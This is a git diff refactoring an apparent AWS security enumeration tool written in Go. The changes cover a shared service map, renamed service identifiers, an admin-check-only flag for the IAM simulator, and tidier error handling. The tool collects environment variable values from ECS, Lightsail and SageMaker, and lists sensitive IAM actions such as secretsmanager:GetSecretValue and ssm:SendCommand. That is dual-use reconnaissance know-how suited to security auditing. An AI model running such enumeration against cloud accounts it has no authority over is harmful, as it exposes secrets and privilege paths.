@@ -1021,7 +1017,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1031,11 +1027,10 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
|
||||
}
|
||||
|
||||
for _, stage := range GetStages.Item {
|
||||
@@ -1044,7 +1039,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGateway(r string, api apigatewayType
|
||||
if len(resource.ResourceMethods) != 0 {
|
||||
path := aws.ToString(resource.Path)
|
||||
|
||||
endpoint := fmt.Sprintf("%s/%s%s", raw_endpoint, stageName, path)
|
||||
endpoint := fmt.Sprintf("%s/%s%s", rawEndpoint, stageName, path)
|
||||
|
||||
endpoints = append(endpoints, Endpoint{
|
||||
AWSService: awsService,
|
||||
@@ -1120,7 +1115,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1133,7 +1128,7 @@ func (m *EndpointsModule) getAPIGatewayv2VIPsPerRegion(r string, wg *sync.WaitGr
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1185,7 +1180,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
var public string
|
||||
|
||||
name := aws.ToString(api.Name)
|
||||
raw_endpoint := aws.ToString(api.ApiEndpoint)
|
||||
rawEndpoint := aws.ToString(api.ApiEndpoint)
|
||||
id := aws.ToString(api.ApiId)
|
||||
var port int32 = 443
|
||||
protocol := "https"
|
||||
@@ -1195,7 +1190,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1213,7 +1208,7 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1228,9 +1223,9 @@ func (m *EndpointsModule) getEndpointsPerAPIGatewayv2(r string, api apigatewayV2
|
||||
}
|
||||
var endpoint string
|
||||
if stage == "" {
|
||||
endpoint = fmt.Sprintf("%s%s", raw_endpoint, path)
|
||||
endpoint = fmt.Sprintf("%s%s", rawEndpoint, path)
|
||||
} else {
|
||||
endpoint = fmt.Sprintf("%s/%s%s", raw_endpoint, stage, path)
|
||||
endpoint = fmt.Sprintf("%s/%s%s", rawEndpoint, stage, path)
|
||||
}
|
||||
public = "True"
|
||||
|
||||
@@ -1267,7 +1262,7 @@ func (m *EndpointsModule) getRdsClustersPerRegion(r string, wg *sync.WaitGroup,
|
||||
DBInstances, err := sdk.CachedRDSDescribeDBInstances(m.RDSClient, aws.ToString(m.Caller.Account), r)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1320,12 +1315,12 @@ func (m *EndpointsModule) getRedshiftEndPointsPerRegion(r string, wg *sync.WaitG
|
||||
awsService := "Redshift"
|
||||
protocol := "https"
|
||||
|
||||
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
Clusters, err := sdk.CachedRedShiftDescribeClusters(m.RedshiftClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1453,12 +1448,12 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
|
||||
m.CommandCounter.Executing++
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
var awsService string = "Cloudfront"
|
||||
var protocol string = "https"
|
||||
var r string = "Global"
|
||||
var public string = "True"
|
||||
var awsService = "Cloudfront"
|
||||
var protocol = "https"
|
||||
var r = "Global"
|
||||
var public = "True"
|
||||
|
||||
// This for loop exits at the end dependeding on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
ListDistributions, err := m.CloudfrontClient.ListDistributions(
|
||||
context.TODO(),
|
||||
@@ -1468,7 +1463,7 @@ func (m *EndpointsModule) getCloudfrontEndpoints(wg *sync.WaitGroup, semaphore c
|
||||
)
|
||||
if err != nil {
|
||||
if errors.As(err, &oe) {
|
||||
m.Errors = append(m.Errors, (fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation())))
|
||||
m.Errors = append(m.Errors, fmt.Sprintf(" Error: Region: %s, Service: %s, Operation: %s", r, oe.Service(), oe.Operation()))
|
||||
}
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
@@ -1684,8 +1679,8 @@ func (m *EndpointsModule) getLightsailContainerEndpointsPerRegion(r string, wg *
|
||||
// m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
var public string = "True"
|
||||
var protocol string = "https"
|
||||
var public = "True"
|
||||
var protocol = "https"
|
||||
var port int32 = 443
|
||||
|
||||
containerServices, err := sdk.CachedLightsailGetContainerServices(m.LightsailClient, aws.ToString(m.Caller.Account), r)
|
||||
|
||||
+53
-46
@@ -43,6 +43,7 @@ type EnvsModule struct {
|
||||
|
||||
Goroutines int
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Service Clients
|
||||
ECSClient *ecs.Client
|
||||
@@ -62,6 +63,7 @@ type EnvsModule struct {
|
||||
|
||||
type EnvironmentVariable struct {
|
||||
service string
|
||||
taskDefinition string
|
||||
name string
|
||||
region string
|
||||
environmentVarName string
|
||||
@@ -166,13 +168,20 @@ func (m *EnvsModule) PrintEnvs(outputDirectory string, verbosity int) {
|
||||
//Table rows
|
||||
for _, envVar := range m.EnvironmentVariables {
|
||||
|
||||
var finalName string
|
||||
if envVar.taskDefinition != "" {
|
||||
finalName = fmt.Sprintf("%s/%s", envVar.name, envVar.taskDefinition)
|
||||
} else {
|
||||
finalName = envVar.name
|
||||
}
|
||||
|
||||
if envVar.interesting {
|
||||
m.output.Body = append(
|
||||
m.output.Body, []string{
|
||||
aws.ToString(m.Caller.Account),
|
||||
envVar.service,
|
||||
envVar.region,
|
||||
envVar.name,
|
||||
finalName,
|
||||
magenta(envVar.environmentVarName),
|
||||
magenta(envVar.environmentVarValue),
|
||||
},
|
||||
@@ -183,7 +192,7 @@ func (m *EnvsModule) PrintEnvs(outputDirectory string, verbosity int) {
|
||||
aws.ToString(m.Caller.Account),
|
||||
envVar.service,
|
||||
envVar.region,
|
||||
envVar.name,
|
||||
finalName,
|
||||
envVar.environmentVarName,
|
||||
envVar.environmentVarValue,
|
||||
},
|
||||
@@ -272,8 +281,12 @@ func (m *EnvsModule) Receiver(receiver chan EnvironmentVariable, receiverDone ch
|
||||
|
||||
func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan EnvironmentVariable) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, _ := servicemap.IsServiceInRegion("ecs", r)
|
||||
if res {
|
||||
@@ -297,7 +310,7 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
wg.Add(1)
|
||||
go m.getAppRunnerEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -307,7 +320,7 @@ func (m *EnvsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan
|
||||
go m.getLightsailEnvironmentVariablesPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("sagemaker", r)
|
||||
res, err = servicemap.IsServiceInRegion("sagemaker-ai", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -355,7 +368,7 @@ func (m *EnvsModule) getECSEnvironmentVariablesPerRegion(region string, wg *sync
|
||||
break
|
||||
}
|
||||
for _, containerDefinition := range DescribeTaskDefinition.TaskDefinition.ContainerDefinitions {
|
||||
m.getECSEnvironmentVariablesPerDefinition(containerDefinition, region, dataReceiver)
|
||||
m.getECSEnvironmentVariablesPerDefinition(*DescribeTaskDefinition.TaskDefinition, containerDefinition, region, dataReceiver)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -394,12 +407,13 @@ func (m *EnvsModule) getTaskDefinitionFamilies(region string) []string {
|
||||
|
||||
}
|
||||
|
||||
func (m *EnvsModule) getECSEnvironmentVariablesPerDefinition(containerDefinition ecsTypes.ContainerDefinition, region string, dataReceiver chan EnvironmentVariable) {
|
||||
func (m *EnvsModule) getECSEnvironmentVariablesPerDefinition(taskDefinition ecsTypes.TaskDefinition, containerDefinition ecsTypes.ContainerDefinition, region string, dataReceiver chan EnvironmentVariable) {
|
||||
|
||||
if containerDefinition.Environment != nil {
|
||||
for _, x := range containerDefinition.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: "ECS",
|
||||
taskDefinition: getNameFromARN(aws.ToString(taskDefinition.TaskDefinitionArn)),
|
||||
name: aws.ToString(containerDefinition.Name),
|
||||
region: region,
|
||||
environmentVarName: aws.ToString(x.Name),
|
||||
@@ -538,25 +552,22 @@ func (m *EnvsModule) getLightsailEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
return
|
||||
}
|
||||
|
||||
if err == nil {
|
||||
if len(ContainerServices) > 0 {
|
||||
|
||||
if len(ContainerServices) > 0 {
|
||||
|
||||
for _, containerService := range ContainerServices {
|
||||
for _, container := range containerService.CurrentDeployment.Containers {
|
||||
for k, v := range container.Environment {
|
||||
name := aws.ToString(containerService.ContainerServiceName)
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
for _, containerService := range ContainerServices {
|
||||
for _, container := range containerService.CurrentDeployment.Containers {
|
||||
for k, v := range container.Environment {
|
||||
name := aws.ToString(containerService.ContainerServiceName)
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -675,18 +686,16 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
|
||||
if len(DescribeTransformJob.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Transform Job] %s", aws.ToString(DescribeTransformJob.TransformJobName))
|
||||
for k, v := range DescribeTransformJob.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
if len(DescribeTransformJob.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Transform Job] %s", aws.ToString(DescribeTransformJob.TransformJobName))
|
||||
for k, v := range DescribeTransformJob.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -738,20 +747,18 @@ func (m *EnvsModule) getSagemakerEnvironmentVariablesPerRegion(r string, wg *syn
|
||||
m.CommandCounter.Error++
|
||||
break
|
||||
}
|
||||
if err == nil {
|
||||
|
||||
if len(DescribeTrainingJob.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Training Job] %s", aws.ToString(DescribeTrainingJob.TrainingJobName))
|
||||
for k, v := range DescribeTrainingJob.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
|
||||
if len(DescribeTrainingJob.Environment) > 0 {
|
||||
name := fmt.Sprintf("[Training Job] %s", aws.ToString(DescribeTrainingJob.TrainingJobName))
|
||||
for k, v := range DescribeTrainingJob.Environment {
|
||||
dataReceiver <- EnvironmentVariable{
|
||||
service: awsService,
|
||||
name: name,
|
||||
region: r,
|
||||
environmentVarName: k,
|
||||
environmentVarValue: v,
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+7
-2
@@ -36,6 +36,7 @@ type FilesystemsModule struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
Filesystems []FilesystemObject
|
||||
@@ -218,8 +219,12 @@ func (m *FilesystemsModule) Receiver(receiver chan FilesystemObject, receiverDon
|
||||
|
||||
func (m *FilesystemsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan FilesystemObject) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("efs", r)
|
||||
if err != nil {
|
||||
|
||||
+1
-1
@@ -331,7 +331,7 @@ func (m *GraphCommand) collectRoleDataForGraph() []models.Role {
|
||||
|
||||
TrustedPrincipals = append(TrustedPrincipals, models.TrustedPrincipal{
|
||||
TrustedPrincipal: principal,
|
||||
ExternalID: statement.Condition.StringEquals.StsExternalID,
|
||||
ExternalID: strings.Join(statement.Condition.StringEquals.StsExternalID, "\n"),
|
||||
VendorName: vendorName,
|
||||
//IsAdmin: false,
|
||||
//CanPrivEscToAdmin: false,
|
||||
|
||||
+34
-29
@@ -33,8 +33,9 @@ type IamSimulatorModule struct {
|
||||
WrapTable bool
|
||||
|
||||
// Main module data
|
||||
SimulatorResults []SimulatorResult
|
||||
CommandCounter internal.CommandCounter
|
||||
SimulatorResults []SimulatorResult
|
||||
CommandCounter internal.CommandCounter
|
||||
IamSimulatorAdminCheckOnly bool
|
||||
// Used to store output data for pretty printing
|
||||
output internal.OutputData2
|
||||
modLog *logrus.Entry
|
||||
@@ -47,26 +48,23 @@ type SimulatorResult struct {
|
||||
Decision string
|
||||
}
|
||||
|
||||
var (
|
||||
defaultActionNames = []string{
|
||||
"sts:AssumeRole",
|
||||
"iam:PassRole",
|
||||
"secretsmanager:GetSecretValue",
|
||||
"ssm:GetParameter",
|
||||
"s3:ListBucket",
|
||||
"s3:GetObject",
|
||||
"ssm:SendCommand",
|
||||
"ssm:StartSession",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetAuthorizationToken",
|
||||
"eks:UpdateClusterConfig",
|
||||
"lambda:ListFunctions",
|
||||
"ec2:DescribeInstanceAttributeInput",
|
||||
"sns:Subscribe",
|
||||
"sqs:SendMessage",
|
||||
}
|
||||
TxtLogger = internal.TxtLogger()
|
||||
)
|
||||
var defaultActionNames = []string{
|
||||
"sts:AssumeRole",
|
||||
"iam:PassRole",
|
||||
"secretsmanager:GetSecretValue",
|
||||
"ssm:GetParameter",
|
||||
"s3:ListBucket",
|
||||
"s3:GetObject",
|
||||
"ssm:SendCommand",
|
||||
"ssm:StartSession",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetAuthorizationToken",
|
||||
"eks:UpdateClusterConfig",
|
||||
"lambda:ListFunctions",
|
||||
"ec2:DescribeInstanceAttributeInput",
|
||||
"sns:Subscribe",
|
||||
"sqs:SendMessage",
|
||||
}
|
||||
|
||||
func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string, resource string, outputDirectory string, verbosity int) {
|
||||
|
||||
@@ -104,6 +102,11 @@ func (m *IamSimulatorModule) PrintIamSimulator(principal string, action string,
|
||||
|
||||
go m.Receiver(dataReceiver, receiverDone)
|
||||
|
||||
if m.IamSimulatorAdminCheckOnly {
|
||||
// set defaultActionNames to an empty slice
|
||||
defaultActionNames = []string{}
|
||||
}
|
||||
|
||||
// This double if/else section is here to handle the cases where --principal or --action (or both) are specified.
|
||||
if principal != "" {
|
||||
if action != "" {
|
||||
@@ -354,7 +357,9 @@ func (m *IamSimulatorModule) getIAMUsers(wg *sync.WaitGroup, actions []string, r
|
||||
Decision: "",
|
||||
}
|
||||
} else {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
if !m.IamSimulatorAdminCheckOnly {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -394,7 +399,9 @@ func (m *IamSimulatorModule) getIAMRoles(wg *sync.WaitGroup, actions []string, r
|
||||
Decision: "",
|
||||
}
|
||||
} else {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
if !m.IamSimulatorAdminCheckOnly {
|
||||
m.getPolicySimulatorResult(principal, actions, resource, dataReceiver)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -443,7 +450,7 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
|
||||
"iam:PutRolePolicy",
|
||||
"iam:AttachRolePolicy",
|
||||
"secretsmanager:GetSecretValue",
|
||||
"ssm:GetDocument",
|
||||
"ssm:GetParameters",
|
||||
}
|
||||
for {
|
||||
SimulatePrincipalPolicy, err := m.IAMClient.SimulatePrincipalPolicy(
|
||||
@@ -456,11 +463,9 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
//m.modLog.Error(err.Error())
|
||||
TxtLogger.Println(err.Error())
|
||||
m.modLog.Error(err)
|
||||
m.CommandCounter.Error++
|
||||
//m.modLog.Error(fmt.Sprintf("Failed admin check on %s\n\n", aws.ToString(principal)))
|
||||
TxtLogger.Printf("Failed admin check on %s\n\n", aws.ToString(principal))
|
||||
m.modLog.Errorf("Failed admin check on %s", aws.ToString(principal))
|
||||
return false
|
||||
}
|
||||
|
||||
|
||||
+15
-5
@@ -4,7 +4,6 @@ import (
|
||||
"context"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
@@ -36,6 +35,7 @@ type InstancesModule struct {
|
||||
UserDataAttributesOnly bool
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
InstanceProfileToRolesMap map[string][]iamTypes.Role
|
||||
SkipAdminCheck bool
|
||||
pmapperMod PmapperModule
|
||||
@@ -435,13 +435,21 @@ func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg *sync.WaitGroup, dataReceiver chan MappedInstance) {
|
||||
defer wg.Done()
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
m.modLog.Warn("ServiceMap is nil, creating new instance (this should not happen)")
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
m.modLog.Errorf("Error checking if EC2 is available in region %s: %v", r, err)
|
||||
m.CommandCounter.Error++
|
||||
return
|
||||
}
|
||||
m.modLog.Debugf("ServiceMap check for EC2 in region %s: result=%v, error=%v", r, res, err)
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
@@ -449,6 +457,8 @@ func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg
|
||||
m.getDescribeInstances(instancesToSearch, r, dataReceiver)
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
} else {
|
||||
m.modLog.Infof("Skipping region %s: EC2 not available or check failed", r)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -537,7 +547,7 @@ func (m *InstancesModule) loadInstanceData(instance types.Instance, region strin
|
||||
// Describe the IAM instance profile
|
||||
profileOutput, err := sdk.CachedIamGetInstanceProfile(m.IAMClient, aws.ToString(m.Caller.Account), profileName)
|
||||
if err != nil {
|
||||
log.Printf("failed to get instance profile for %s, %v", profileArn, err)
|
||||
m.modLog.Errorf("failed to get instance profile for %s, %v", profileArn, err)
|
||||
}
|
||||
|
||||
for _, role := range profileOutput.Roles {
|
||||
|
||||
+17
-21
@@ -90,6 +90,7 @@ type Inventory2Module struct {
|
||||
Goroutines int
|
||||
AWSProfile string
|
||||
WrapTable bool
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
RegionResourceCount int
|
||||
@@ -423,8 +424,12 @@ func (m *Inventory2Module) Receiver(receiver chan GlobalResourceCount2, receiver
|
||||
func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan GlobalResourceCount2) {
|
||||
defer wg.Done()
|
||||
|
||||
servicemap := &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
// Use shared ServiceMap instance if provided, otherwise create a new one
|
||||
servicemap := m.ServiceMap
|
||||
if servicemap == nil {
|
||||
servicemap = &awsservicemap.AwsServiceMap{
|
||||
JsonFileSource: "DOWNLOAD_FROM_AWS",
|
||||
}
|
||||
}
|
||||
|
||||
// AppRunner is not supported in the aws service region catalog so we have to run it in all regions
|
||||
@@ -432,7 +437,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
wg.Add(1)
|
||||
go m.getAppRunnerServicesPerRegion(r, wg, semaphore)
|
||||
|
||||
res, err := servicemap.IsServiceInRegion("apigateway", r)
|
||||
res, err := servicemap.IsServiceInRegion("api-gateway", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -594,7 +599,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getEKSNodeGroupsPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("elb", r)
|
||||
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -640,7 +645,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.GetEMRInstancesPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("es", r)
|
||||
res, err = servicemap.IsServiceInRegion("opensearch-service", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -677,7 +682,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("kinesis", r)
|
||||
res, err = servicemap.IsServiceInRegion("streams", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -698,7 +703,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getLambdaFunctionsPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -708,7 +713,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getLightsailInstancesAndContainersPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("mq", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazon-mq", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -738,7 +743,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getRedshiftClustersPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("secretsmanager", r)
|
||||
res, err = servicemap.IsServiceInRegion("secrets-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -768,7 +773,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getSQSQueuesPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("ssm", r)
|
||||
res, err = servicemap.IsServiceInRegion("systems-manager", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
@@ -778,7 +783,7 @@ func (m *Inventory2Module) executeChecks(r string, wg *sync.WaitGroup, semaphore
|
||||
go m.getSSMParametersPerRegion(r, wg, semaphore)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("stepfunctions", r)
|
||||
res, err = servicemap.IsServiceInRegion("step-functions", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
